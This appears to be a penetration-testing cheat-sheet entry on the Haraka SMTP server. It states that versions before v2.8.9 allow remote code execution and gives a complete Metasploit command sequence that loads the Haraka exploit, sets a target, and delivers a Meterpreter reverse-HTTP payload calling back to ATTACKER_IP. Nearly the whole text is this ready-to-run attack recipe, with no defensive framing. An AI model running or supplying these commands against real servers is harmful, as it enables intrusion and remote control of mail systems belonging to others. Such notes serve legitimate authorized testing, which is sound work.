Haraka SMTP Server
Haraka is an open source SMTP server deployed in Node.js.
All Haraka versions prior to v2.8.9 are vulnerable to RCE.
Exploitation with Metasploit
use exploit/linux/smtp/haraka
set RHOST TARGET_IP
set SRVPORT 9898
set email_to EMAIL_VALUE
set payload linux/x64/meterpreter_reverse_http
set LHOST ATTACKER_IP
run